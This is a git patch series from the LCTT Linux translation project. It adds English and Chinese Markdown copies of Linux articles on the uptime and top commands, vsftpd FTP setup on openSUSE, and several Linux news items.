Command – Find How Long Your System Been Running -================================================================================ -![](http://linoxide.com/wp-content/uploads/2013/11/linux-uptime-command.png) - -Information about how long the system has been running may not critical for some people. But for server administrators, it is critical. Servers which running mission critical application must be running as long as possible. Sometimes it must be zero-downtime. So, how can we know information about it? - -On Linux operating system, we can use uptime command. You don’t need root privileges to run this command. This command also already installed on Linux system by default. - -The syntax is like this : - - $ uptime - -You may see an output like this : - -![](http://linoxide.com/wp-content/uploads/2013/11/uptime.png) - -This information is provided in **/proc/uptime** file. Even the file is text based, but it’s a raw information which is not directly human-readable. That’s why we need uptime command to translate it. - -Here’s how to read the information provided by uptime : - -### System Time ### - -You see at the Figure 1 above, the first information on the left side is **14:04:39**. It shows you the system time in 24 hours format. - -### System Uptime ### - -The second information is **Up 1004 days, 12:20.** It give you a timeframe how long the system has been running. From the Figure 1, it shows you that the system has been running for 1004 days and 12 hours – 20 minutes. If the system has not pass 24 hours then it will show you only hours and / or minutes timeframe. Take a look at Figure 2 and Figure 3 below. When the system is restarted then the counter will be reset to zero. - -![](http://linoxide.com/wp-content/uploads/2013/11/uptime_minutes.png) - -![](http://linoxide.com/wp-content/uploads/2013/11/uptime_hours1.png) - -### Numbers of Users Logged In ### - -The third information is uptime shows you numbers of users logged in. Figure 1 show you that there is **1 user** logged at that time. When there is multiple user logged in, uptime will tell you the numbers. - -### Load Average ### - -The last information is about the average load of the system. From the Figure 1 again you see numbers **0.25, 0.25, 0.19**. The two decimal point is translated as a percentage. 0.25 means 25% and 0.19 means 19%. - -While the sequence 0.25, 0.25, 0.19 represent for the past 1 minutes, 5 minutes and 15 minutes. The lower numbers you get mean the better your system will perform. - -That’s the usage of the **uptime** command in daily used. For more detailed information, please refer to uptime manual page by typing **man uptime** in your Linux console. - --------------------------------------------------------------------------------- - -via: http://linoxide.com/linux-command/linux-uptime-command/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/Linux Uptime Command – Find How Long Your System Been Running.md b/translated/Linux Uptime Command – Find How Long Your System Been Running.md new file mode 100644 index 0000000000..4b990d677a --- /dev/null +++ b/translated/Linux Uptime Command – Find How Long Your System Been Running.md @@ -0,0 +1,51 @@ +Linux Uptime 命令，让你知道你的系统运行了多久 +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/11/linux-uptime-command.png) + + +系统运行了多久对于一些人来说是无关紧要的，但是对于服务器管理员来说，这是相当重要的信息。服务器在运行重要的应用的时候，必须尽量保证长时间的稳定运行，有时候甚至要求零宕机。那么我们怎么才能知道服务器运行了多久呢？ + +在Linux 下，我们可以使用uptime 命令，而且此命令不必使用root 权限。uptime 命令在系统中已经默认安装了。 + +语法就像这样： + + $ uptime + +你会在屏幕上看到类似这样的显示： + +![](http://linoxide.com/wp-content/uploads/2013/11/uptime.png) + +这些信息保存在/proc/uptime 文件中，虽然是以文本方式保存，但是这些数据却不能直接显示，需要我们使用uptime 命令来翻译它。 + +下面来讲解如何解读运行uptime 命令后显示的信息： + +### 系统时间 ### + +在图1中，左起第一个信息是14:04:39，这就是当前系统时间，以24小时格式输出。 + +### 系统运行时间 ### + +第二个信息**Up 1004 days, 12:20**，这是显示你的系统运行的时间。这里显示的是到目前（即第一个时间）为止，你的系统运行了1004天12小时20分钟，如果你的系统没有运行超过24小时，这里将只会显示小时分钟或者只显示分钟。注意图2、图3的信息，当系统重启后将会清零。 + +![](http://linoxide.com/wp-content/uploads/2013/11/uptime_minutes.png) + +![](http://linoxide.com/wp-content/uploads/2013/11/uptime_hours1.png) + +### 已登陆用户的数量 ### + +第三部分的信息是显示已登陆用户的数量。在图1中，显示的是**1 user** ，即当前登录用户数量。当多个用户在同时登陆系统时，uptime 命令将告诉你用户的数量。 + +### 平均负载量 ### + +最后一个信息是系统的平均负载量。回到图1，你看到这样带两位小数的数字**0.25, 0.25, 0.19**可以换算成百分比，即0.25和0.19分别代表着25%和19%。 +19代表着过去1分钟、5分钟、15分钟系统的平均负载量。负载量越低意味着你的系统性能越好。 + +这就是**uptime** 命令的日常使用指导，如果想获取更详细的信息，请通过输入**man uptime** 进入uptime 命令的manual 页面来查看。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-uptime-command/ + +译者：[NearTan](https://github.com/NearTan) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 197550e22c0880ca969ae93b529b522ecbfc9d20 Mon Sep 17 00:00:00 2001 From: DeadFire Date: Fri, 29 Nov 2013 10:26:11 +0800 Subject: [PATCH 047/148] =?UTF-8?q?20131129-1=20=E9=80=89=E9=A2=98=20?= =?UTF-8?q?=E6=9C=89=E5=A5=BD=E6=96=87=E7=AB=A0=EF=BC=8C=E5=BF=AB=E6=8A=A2?= =?UTF-8?q?=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...d ASUS Have Formed a Partnership in USA.md | 29 ++ ...ibreOffice with interesting conclusions.md | 31 ++ sources/Setup FTP Server On openSUSE 13.1.md | 189 ++++++++++ ...ndidate Revved Up And Ready for Testing.md | 38 ++ ...robably the Best Gaming Engine on Linux.md | 46 +++ ...x TOP Command Examples With Screenshots.md | 340 ++++++++++++++++++ 6 files changed, 673 insertions(+) create mode 100644 sources/Canonical and ASUS Have Formed a Partnership in USA.md create mode 100644 sources/Senior researchers analyzed LibreOffice with interesting conclusions.md create mode 100644 sources/Setup FTP Server On openSUSE 13.1.md create mode 100644 sources/SuperTuxKart 0.8.1 Release Candidate Revved Up And Ready for Testing.md create mode 100644 sources/UNIGINE Is Probably the Best Gaming Engine on Linux.md create mode 100644 sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md diff --git a/sources/Canonical and ASUS Have Formed a Partnership in USA.md b/sources/Canonical and ASUS Have Formed a Partnership in USA.md new file mode 100644 index 0000000000..3f141ee448 --- /dev/null +++ b/sources/Canonical and ASUS Have Formed a Partnership in USA.md @@ -0,0 +1,29 @@ +Canonical and ASUS Have Formed a Partnership in USA +================================================================================ +**Canonical and ASUS have formed a partnership that would enable the hardware vendor to equip a couple of its laptops with the Ubuntu operating system.** + +ASUS is now providing the X201E and 1015E laptops with Ubuntu preinstalled in an effort to penetrate the education market. + +“As Ubuntu, and all the software bundled on it is free, there’s no licence fees in the purchase price which significantly reduces cost. This is perfect for students and institutions, both of whose finances can be hard pressed.” + +“Productivity applications are taken care of by LibreOffice. Familiar feeling, they offer all the functionality students and staff need and are fully compatible with existing files from the leading proprietary alternative. There are also bundled free applications for email and web browsing,” reads the official [announcement][1] on Ubuntu’s website. + +The two laptops are not exactly powerhouses and are aimed at productivity, and maybe multimedia content. The ASUS 1015E laptop features a Intel Celeron 847 1.1 GHz processor, 2 GB DDR3 Memory, a 320 GB 5400 rpm Hard Drive, and a 10.1-Inch screen. + +The other model, which is currently out of stock, ASUS X201E, is a little bit more powerful, but not by much: Intel Celeron 847 (1.1GHz) Sandy Bridge processor, 4 GB DDR3, 320 GB 5400 rpm Hard Drive, an 11.6-Inch screen, and Intel GMA HD graphics solution. + +“Beyond the basics thousands of other free, open-source applications are available to meet more specific needs from image processing and 3D animation to anti-virus or accounting.” + +“We know that effective personal computing is vital to students and Institutions, so it’s exciting for us to work with our partners to bring these low-cost, high-performance packages into the education sector,” is also stated in the announcement. + +Canonical announcement sends to a couple of Amazon pages, but if you’re interested in these products than you should know that they are available in a number of other stores. + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Canonical-and-ASUS-Have-Formed-a-Partnership-in-USA-404483.shtml + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://insights.ubuntu.com/resources/article/asus-and-ubuntu-deliver-affordable-world-class-laptops-to-usa-education/ \ No newline at end of file diff --git a/sources/Senior researchers analyzed LibreOffice with interesting conclusions.md b/sources/Senior researchers analyzed LibreOffice with interesting conclusions.md new file mode 100644 index 0000000000..ed25ed04ba --- /dev/null +++ b/sources/Senior researchers analyzed LibreOffice with interesting conclusions.md @@ -0,0 +1,31 @@ +Senior researchers analyzed LibreOffice with interesting conclusions +================================================================================ +Users, editors, state departments, teams and city administrations are enjoying [LibreOffice][1], free open-source office suite proving itself a clear success across the globe with more and more adoptions, more and more positive feedback. + +While the users perceive LibreOffice as no-compromise and powerful, it seems that serious researchers have also found and described LibreOffice as a true success, as in the case of the "**Sustainability of Open Source software communities beyond a fork: How and why has the LibreOffice project evolved?**" document, too. + +Essentially, "Sustainability of Open Source software communities beyond a fork: How and why has the LibreOffice project evolved?" is a research document [focused][2] on LibreOffice and its components, ranging from status to public perception, future capabilities, ability to attract supporters and contributors. + +The conclusions of the mentioned document, while natural, talk about LibreOffice as a success on all fronts, conclusions such as: + +- "The LibreOffice project, which was forked from the OpenOffice.org project, shows no sign of +- long-term decline" +- "LibreOffice has attracted the long-term and most active committers in OpenOffice.org" +- "Open Source communities can outlive Open Source software projects" +- "LibreOffice is perceived by its community as supportive, diversified, and independent" + +![](http://iloveubuntu.net/pictures_me/libreoffice%20reasearch%20highlights.png) + +The serious 60-pages-long document (available for download on [http://www.sciencedirect.com/science/article/pii/S0164121213002744/pdfft...][3]) presents LibreOffice as detailed, being an in-depth accurate analysis of the robust office suite, document written by senior researchers from the University of Skövde’s Informatics Research Centre. + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/senior-researchers-analyzed-libreoffice-interesting-conclusions + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.libreoffice.org/ +[2]:http://www.sciencedirect.com/science/article/pii/S0164121213002744 +[3]:http://www.sciencedirect.com/science/article/pii/S0164121213002744/pdfft?md5=4b986a117fb06cc127b854cb5f622bec&pid=1-s2.0-S0164121213002744-main.pdf \ No newline at end of file diff --git a/sources/Setup FTP Server On openSUSE 13.1.md b/sources/Setup FTP Server On openSUSE 13.1.md new file mode 100644 index 0000000000..821cf44099 --- /dev/null +++ b/sources/Setup FTP Server On openSUSE 13.1.md @@ -0,0 +1,189 @@ +Setup FTP Server On openSUSE 13.1 +================================================================================ +**vsftpd** (**V**ery **S**ecure **F**ile **T**ransport **P**rotocol **D**aemon) is a secure, fast FTP server for Unix/Linux systems. In this how-to article, let us see how to setup a basic FTP server using vsftpd on openSUSE 13.1. + +### Install vsftpd ### + +Login as root user and Enter the following the following command. + + # zypper in vsftpd + +Start vsftpd service and make it to start automatically on every reboot. + + # systemctl enable vsftpd.service + # systemctl start vsftpd.service + +### Configure vsftpd ### + +Create a folder for ftp users. + + # mkdir /srv/ftp + +Create a group called **ftp-users**. + + # groupadd ftp-users + +Let us create a sample user called unixmen with home directory **/srv/ftp** and group **ftp-users**. + + # useradd -g ftp-users -d /srv/ftp/ unixmen + +Set password for the new user. + + # passwd unixmen + +Make the ftp home directory **/srv/ftp/** accessible by ftp users. + + # chmod 750 /srv/ftp/ + # chown unixmen:ftp-users /srv/ftp/ + +Edit file vsftpd.conf, + + # nano /etc/vsftpd.conf + +Make the changes as shown below. + + [...] + #Uncomment and Set YES to enable write. + write_enable=YES + [...] + # Uncomment and Set banner name for your website + ftpd_banner=Welcome to Unixmen FTP service. + [...] + # Uncomment + ls_recurse_enable=YES + [...] + # Uncomment and set YES to allow local users to log in. + local_enable=YES + [...] + # To disable anonymous access, set NO. + anonymous_enable=NO + [...] + # Uncomment to enable ascii download and upload. + ascii_upload_enable=YES + ascii_download_enable=YES + [...] + ## Add at the end of this file ## + use_localtime=YES + +Save and exit file. + +### Test FTP Server Locally ### + +First let us try to login to our FTP server as shown below. + + # ftp localhost + Trying ::1:21 ... + Connected to localhost. + 220 (vsFTPd 3.0.2) + Name (localhost:root): unixmen + 331 Please specify the password. + Password: + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> + +As you in the above output, we will be able to login to ftp server using unixmen user. + +### Test FTP Server Remotely ### + +By default openSUSE built-in firewall won’t allow to login to FTP from remote systems. So let us allow vsftpd service through suse firewall. To do that go to **Yast -> Security and Users -> Firewall**. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/openSUSE-12.3-Running-Oracle-VM-VirtualBox_001.jpg) + +In the Firewall section, go to **Allowed Services**. In the zone selection drop down box, select **External Zone** and in Service to Allow drop-down box, select **vsftpd server** and click add. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/openSUSE-12.3-Running-Oracle-VM-VirtualBox_004.jpg) + +Click Next and close Yast Control center. + +Now try to connect from a remote system. + +I tried to login to FTP server from my ubuntu desktop. + + sk@sk:~$ ftp 192.168.1.53 + Connected to 192.168.1.53. + 220 (vsFTPd 3.0.2) + Name (192.168.1.53:sk): unixmen + 331 Please specify the password. + Password: + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> + +As you see in the above output, I will be able to connect to FTP server. If you doesn’t allow the vsftpd service through firewall you will get a Connection timed out error. + +### Connect from Browser ### + +Open up your browser and Navigate to **ftp://ip-address/**. Enter the ftp user name and password. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Index-of-ftp-192.168.1.53-Mozilla-Firefox_005.jpg) + +### Connect to FTP server using FileZilla ### + +Working from command-line mode might be little bit annoying to newbies. So let us install a graphical FTP client called [**Filezilla**][1] to get things done quite easier: + +Mostly all distribution will have filezilla client in their official repository. To install filezilla on Linux based systems enter the following command: + +On Ubuntu based systems: + + $ sudo apt-get install filezilla + +On Fedora/Redhat systems: + + $ sudo yum install filezilla + +On openSUSE: + + # zypper in filezilla + +After installing filezilla open it. Enter the ftp server IP address, user name and password and click quickconnect. + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/unixmen@192.168.1.53-FileZilla_006.jpg) + +For added security, you can restrict FTP access to certain users by adding them to **/etc/vsftpd.chroot_list** file. + +Edit vsftpd.conf file, + + nano /etc/vsftpd.conf + +Make the changes as shown below. + + [...] + # Uncomment and set YES + chroot_local_user=YES + chroot_list_enable=YES + chroot_list_file=/etc/vsftpd.chroot_list + [...] + +Create **file /etc/vsftpd.chroot_list**, + + nano /etc/vsftpd.chroot_list + +Add the users that you want to give access to FTP server. I added the user **unixmen**. + + unixmen + +Restart ftp service. + + # systemctl restart vsftpd.service + +Now you will be able to connect to FTP server with users who are listed in the chroot list file. + +If users other than in the chroot list want to access FTP server, they will get the following error. + + 500 OOPS: could not read chroot() list file:/etc/vsftpd.chroot_list + ftp: Login failed + +That’s it for now. Your FTP server is ready to use. Enjoy! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/setup-ftp-server-opensuse-13-1/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://filezilla-project.org/ \ No newline at end of file diff --git a/sources/SuperTuxKart 0.8.1 Release Candidate Revved Up And Ready for Testing.md b/sources/SuperTuxKart 0.8.1 Release Candidate Revved Up And Ready for Testing.md new file mode 100644 index 0000000000..50cb9cb222 --- /dev/null +++ b/sources/SuperTuxKart 0.8.1 Release Candidate Revved Up And Ready for Testing.md @@ -0,0 +1,38 @@ +SuperTuxKart 0.8.1 Release Candidate Revved Up And Ready for Testing +================================================================================ +**Hands up if you don’t like open-source racing game SuperTuxKart? You, folks, are strange.** + +As kart-racers go, it’s one of the most popular freely available. And for good reason: it’s fun, easy to play and has a dedicated team of developers who are continually adding to and improving what is already a really polished game. + +But it’s getting even better. The first release candidate of build 0.8.1 – the first update since last year’s 0.8 build – [has been made available for testing][1] (for ‘testing’ see ‘excuse to play it for hours and not feel guilty’). + +SuperTuxKart 0.8.1 adds a number of improvements, including: + +- A new Star Trek themed track “STK Enterprise” +- Three tracks updated (‘Old Mines’, ‘Lighthouse’ & ‘Zen Garden’) +- New ‘Egg Hunt’ and ‘Soccer’ modes +- New and updated karts +- New difficulty level +- Bubblegum shield weapon +- Option to save and resume Grand Prix mode +- [WiiMote Support][2] + +### Geting SuperTuxKart 0.8.1 ### + +No release date has been given on when to expect the final, stable release of 0.8.1 but I’d expect it to land sometime in December – marking one year from the previous release in the 0.8.x series. + +In the meantime, if you’re okay with “Release Candidate”-quality software, you’ll find a pre-compiled binary for Linux over on the project’s Sourceforge Page. + +- [Download SuperTuxKart 0.8.1 Release Candidate][3] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/supertux-kart-0-8-1-release-candidate + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://supertuxkart.blogspot.co.uk/2013/11/supertuxkart-081-rc1.html +[2]:http://supertuxkart.net/Wiimote +[3]:http://sourceforge.net/projects/supertuxkart/files/SuperTuxKart/0.8.1-rc1/ \ No newline at end of file diff --git a/sources/UNIGINE Is Probably the Best Gaming Engine on Linux.md b/sources/UNIGINE Is Probably the Best Gaming Engine on Linux.md new file mode 100644 index 0000000000..232ea3a35b --- /dev/null +++ b/sources/UNIGINE Is Probably the Best Gaming Engine on Linux.md @@ -0,0 +1,46 @@ +UNIGINE Is Probably the Best Gaming Engine on Linux +================================================================================ +**The UNIGINE, a real-time 3D engine built to run on all major platforms, including Linux, has just received another update, bringing some important new features.** + +![](http://i1-news.softpedia-static.com/images/news2/UNIGINE-Is-Probably-the-Best-Gaming-Engine-on-Linux-404484-2.jpg) + +Unigine Engine is built by non-other than Unigine Corp., the company behind the Heaven DX11 Benchmark software. The technology they develop is getting better all the time, and with their recent expansion on the Linux platform, we’re all too glad to see that major updates have been implemented in the engine. + +Amongst the biggest changes in the latest Unigine update is the Common Image Generator Interface (CIGI) protocol. + +According to the developers, this interface is a standard way for a host device to communicate with an image generator (IG) in the simulation industry. + +### Highlights of the new Unigine Engine: ### + +- Support has been added for the conversion of WGS84, ECF and NED coordinate systems into Cartesian one (this will help developers to made better use of real-world GIS data in UNIGINE-powered projects); +- The Game Framework has been implemented, making it easier to create games with features such as automatic link between Entity and Node, automatic link between Level and World, object management for Entities, Global Game context across all Levels, events handling system, optimal updating of Entities, and more; +- The FPS stability for the rendered has been increased; +- Two new options, a 2D noise and 3D noise (States tab in the editor), have been added to the mesh_leaf_base material; +- A new parameter, Occlusion mask, has been added to all of the materials; +- Heights of clutters and grass are synchronized now; +- A few crashes on rendering of non-Flash splash screens have been fixed. + +A complete list of new features, for all the platforms, is available in the official [announcement][1]. + +Keep in mind that the UNIGINE graphics engine is only aimed at commercial enterprises and that not even a trial version is available for the general public. + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/UNIGINE-Is-Probably-the-Best-Gaming-Engine-on-Linux-404484.shtml + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.unigine.com/devlog/2013/11/27/113 +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: \ No newline at end of file diff --git a/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md b/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md new file mode 100644 index 0000000000..1bd50f45ee --- /dev/null +++ b/sources/Unbelievable ! 30 Linux TOP Command Examples With Screenshots.md @@ -0,0 +1,340 @@ +Unbelievable ! 30 Linux TOP Command Examples With Screenshots +================================================================================ +The top command in Linux displays the running processes on the system. One of the most important tools for a system administrator. It is used extensively for monitoring the load on a server. In this article, we explore the top command in detail. The top command is an interactive command. Many commands are available when top is running. We will explore these commands as well. + +### 1. Top Command output: ### + +First of all, let us understand what the output says. Top command displays a lot of information about the running system. But we need to under stand the meaning of different sections of this output: +Running by default, the top command displays output like this: + +![](http://linoxide.com/wp-content/uploads/2013/11/01.top_default.png) + +*Top default display* + +First few lines are horizontal showing summary about different system parameters, and following these are the processes and their attributes in columns. + +#### 1.1 Uptime and Load Averages: #### + +![](http://linoxide.com/wp-content/uploads/2013/11/02.top_uptime.png) + +*Uptime display* + +At the top of top command is displayed the output similar to uptime command. + +The fields display: + +- current time +- the time your system is been up +- number of users logged in +- load average of 5, 10 and 15 minutes respectively. + +This uptime display can be toggled with ‘l’ command. + +#### 1.2 Tasks: #### + +![](http://linoxide.com/wp-content/uploads/2013/11/03.top_tasks.png) + +*Task summary* + +The second line shows summary of tasks or processes. The processes can be in different states. It shows total number of the processes. Out of these, the processes can be running, sleeping, stopped or in zombie (zombie is the state of a process state, These process summary can be toggled with ‘t’ command. + +#### 1.3 CPU States: #### + +![](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png) + +*CPU status display* + +Next is shown the CPU state. Here, %age of CPU time in different modes is shown. The meaning of different CPU times are: + +- us, user: CPU time in running (un-niced) user processes +- sy, system: CPU time in running kernel processes +- ni, niced: CPU time in running niced user processes +- wa, IO wait: CPU time waiting for IO completion +- hi: CPU time serving hardware interrupts +- si: CPU time serving software interrupts +- st: CPU time stolen for this vm by the hipervisor. + +This can be toggled with ‘t’ command. + +#### 1.4 Memory Usage: #### + +![](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png) + +*Memory usage* + +Next two lines show memory usage, somewhat like ‘free’ command. 1st of these lines is for physical memory and the second for virtual memory (swap space). + +The physical memory is displayed as: total available memory, used memory, free memory, and memory used for buffers +Similarly, swap reflects: total, used, free and cached swap space. +The memory can be toggled with ‘m’ command. + +#### 1.5 Fields/Columns: #### + +![](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png) + +*Top columns* + +After these horizontal system properties and states, the processes are shown in columns. The different columns represent different properties discussed below. + +By default, top shows these attributes associated with processes: + +**PID** +The Process ID, to uniquely identify a processes. + +**USER** +The effective user name of the owner of the processes. + +**PR** +The scheduling priority of the process. Some values in this field are ‘rt’. It means that the process is running under real-time. + +**NI** +The nice value of the process. Lower values mean higher priority. + +**VIRT** +The amount of virtual memory used by the process. + +**RES** +The resident memory size. Resident memory is the amount of non-swapped physical memory a task is using. + +**SHR** +SHR is the shared memory used by the process. + +**S** +This is the process status. It can have one of the following values: + +- D – uninterruptible sleep +- R – running +- S – sleeping +- T – traced or stopped +- Z – zombie + +**%CPU** +It is the percentage of CPU time the task has used since last update. + +**%MEM** +Percentage of available physical memory used by the process. + +**TIME+** +The total CPU time the task has used since it started, with precision upto hundredth of a second. + +**COMMAND** +The command which was used to start the process. + +There are many other outputs which are not displayed by default which can display information about page faults, effective group and group ID of the process, and many more. + +### 2. Interactive Commands: ### + +We discussed earlier that the top command is interactive commands. Some of the commands we encountered in the last section. Here we explore these commands further. + +#### 2.1 ‘h’: Help #### + +First of all, you can press ‘h’ or ‘?’ to display the help menu for interactive commands. + +![](http://linoxide.com/wp-content/uploads/2013/11/07.top_help.png) + +*Help options* + +#### 2.2 ‘’ or ‘’: Refresh Display #### + +The top command by default refreshes after a certain interval (3 seconds). To refresh manually, user can press enter or space key. + +#### 2.3 A: Toggle Alternate Display Mode #### + +This command switches between full-screen Mode and alternate-display mode. In alternate display mode, 4 windows are available: + +1. Def +2. Job +3. Mem +4. Usr + +Each of the 4 field groups has a unique separately configurable summary area and its own configurable task area. Only one of these 4 windows will be the current window. The current window is displayed on the top left corner. + +![](http://linoxide.com/wp-content/uploads/2013/11/08.top_alternative_display.png) + +*Alternative display mode* + +You can switch between 4 windows with ‘a’ and ‘w’ keys. ‘a’ moves to next and ‘w’ to previous window. With ‘g’ command, you can enter a number to select the current window. + +![](http://linoxide.com/wp-content/uploads/2013/11/09.top_alternate_window_selection.png) + +*Window selection in alternative display* + +#### 2.4 B: Toggle Bold Display #### + +Some important information is shown in bold characters. This command toggles use of bold. + +![](http://linoxide.com/wp-content/uploads/2013/11/10.top_bold_display_off.png) + +*Bold off* + +#### 2.5 ‘d’ or ‘s’: Set Display Time interval #### + +When ‘d’ or ‘s’ is pressed, you will be prompted to enter a value ( in seconds ) which will be set as display interval. If you enter 1 here, top will refresh every second. + +![](http://linoxide.com/wp-content/uploads/2013/11/11.top_display_time_interval.png) + +*Display time interval* + +#### 2.6 ‘l’, ‘t’, ‘m’: Toggle Load, Task, Memory Info #### + +These will toggle load average, task/cpu status and mem info respectively as discussed. + +![](http://linoxide.com/wp-content/uploads/2013/11/12.top_load_average_display_off.png) + +*Load average off* + +![](http://linoxide.com/wp-content/uploads/2013/11/13.top_cpu_display_off.png) + +*CPU summary off* + +![](http://linoxide.com/wp-content/uploads/2013/11/14.top_mem_display_off.png) + +*Memory and swap usage off* + +![](http://linoxide.com/wp-content/uploads/2013/11/15.top_all_three_display_off.png) + +*All three displays off* + +#### 2.7 ‘f’: Field Management #### + +This is used to chose what field you want to display on the output screen. The fields marked as * are selected. + +![](http://linoxide.com/wp-content/uploads/2013/11/16.top_field_management.png) + +*Managing columns* + +‘<’ and ‘>’ +The ‘<’ command moves the sorted field to the left and ‘>’ to the right + +#### 2.8 ‘R’: Reverse Sort #### + +Toggle Reverse/Normal sort order + +#### 2.9 ‘c’: Toggle Command #### + +Toggle full path of command that started the process and program name. + +![](http://linoxide.com/wp-content/uploads/2013/11/17.top_command_name_displayed.png) + +*Full command path* + +2.10 ‘i’: Idle Tasks + +Toggle idle tasks. + +![](http://linoxide.com/wp-content/uploads/2013/11/18.top_idle_tasks_off.png) + +*Idle task display off* + +#### 2.11 ‘V’: Forest View #### + +Toggle forest view mode. + +![](http://linoxide.com/wp-content/uploads/2013/11/19.top_forest_view.png) + +*Forest view of tasks* + +#### 2.12 ‘Z’: Change color map #### + +Pressing the ‘Z’ key takes the user to a screen where the display color can be changed for top command. There are 8 task areas to chose from and 8 colors. + +![](http://linoxide.com/wp-content/uploads/2013/11/20.top_color_selection.png) + +*Customizing colors* + +The below screen shows full colored top view with all 4 screens on. + +![](http://linoxide.com/wp-content/uploads/2013/11/21.top_colored.png) + +*Colored display* + +#### 2.13 ‘z’: Toggle Color #### + +Toggle color, i.e. turn on or off the colored display. + +#### 2.14 ‘x’ or ‘y’ #### + +Toggle highlights: ‘x’ sort field; ‘y’ running tasks. Depending upon your display settings, You might have to make the output colored in order to notice these highlights. + +![](http://linoxide.com/wp-content/uploads/2013/11/22.top_x_y_displayed.png) + +*X and Y highlighted* + +#### 2.15 ‘u’: Processes of a User #### + +Show processes for a particular user. You are prompted to enter the username. Blank will show for all users. + +![](http://linoxide.com/wp-content/uploads/2013/11/23.top_raghu_processes.png) + +*Processes of 'raghu' user* + +#### 2.16 ‘n’ or ‘#’: Number of tasks #### + +Set maximum number of tasks displayed. + +![](http://linoxide.com/wp-content/uploads/2013/11/24.top_10_processes.png) + +*Setting number of tasks displayed* + +#### 2.17 ‘k’: Kill tasks #### + +One of the most important commands of top. Used to send signals to tasks (Usually kill tasks). + +![](http://linoxide.com/wp-content/uploads/2013/11/25.top_kill_task.png) + +*Killing a task* + +2.18 ‘r’: Renice + +Renice a task to change the scheduling priority. + +### 3. Command line options: ### + +Most of these command line options are similar to the commands discussed above. Top output can be manipulated interactively with commands. But you can start top with some parameters set to your convenience with these options. + +#### 3.1 -b: Batch mode #### + +The -b option starts top command in batch mode. It can be useful when you want to save the output in a file. + +#### 3.2 -c: Command/Program-name toggle: #### + +As discussed in the above commands, this option will toggle from the last remembered state of command/program name display. + +#### 3.3 -d: Set delay interval #### + +Set the delay interval for top (in seconds). For example: + + $ top -d 1 + +will start the top command with 1 sec delay interval. + +#### 3.4 -i: idle process toggle #### + +This option sets the top command with last remembered ‘i’ state reversed. + +#### 3.5 -n: Set number of iterations #### + +With -n option, you can set the number of iterations after which top willl end. + + $ top -n 3 + +will exit top automatically after 3 outputs. + +#### 3.6 -p: monitor specific PIDs #### + +You can specify what PIDs you want to monitor with -p option. PID value 0 will be treated as process ID of top command itself. + +3.7 -u or -U: username or UID + +The process of a particular user can be viewed with these options. Username or UID can be specified to the option. The -p, -u and -U options are mutually exclusive. Only one of the options can be used at a time. You get error when you try to use any combination of these options: + + $ top -p 28453 -u raghu + top: conflicting process selections (U/p/u) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 7b7a14f658037d0367b737eb561e0d965934fb53 Mon Sep 17 00:00:00 2001 From: DeadFire Date: Fri, 29 Nov 2013 11:13:10 +0800 Subject: [PATCH 048/148] =?UTF-8?q?20131129-2=20=E9=80=89=E9=A2=98=20?= =?UTF-8?q?=E5=8F=8A=E4=BF=AE=E6=AD=A3=E5=89=8D=E9=9D=A2=E4=B8=80=E7=AF=87?= =?UTF-8?q?=E6=96=87=E7=AB=A0=E7=9A=84=E6=8E=92=E7=89=88?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...re Open Source Developers Too Demanding.md | 70 ++++++++++++ ...top 3 IT skill groups in highest demand.md | 61 ++++++++++ ...d Linux is more secure than any other OS’.md 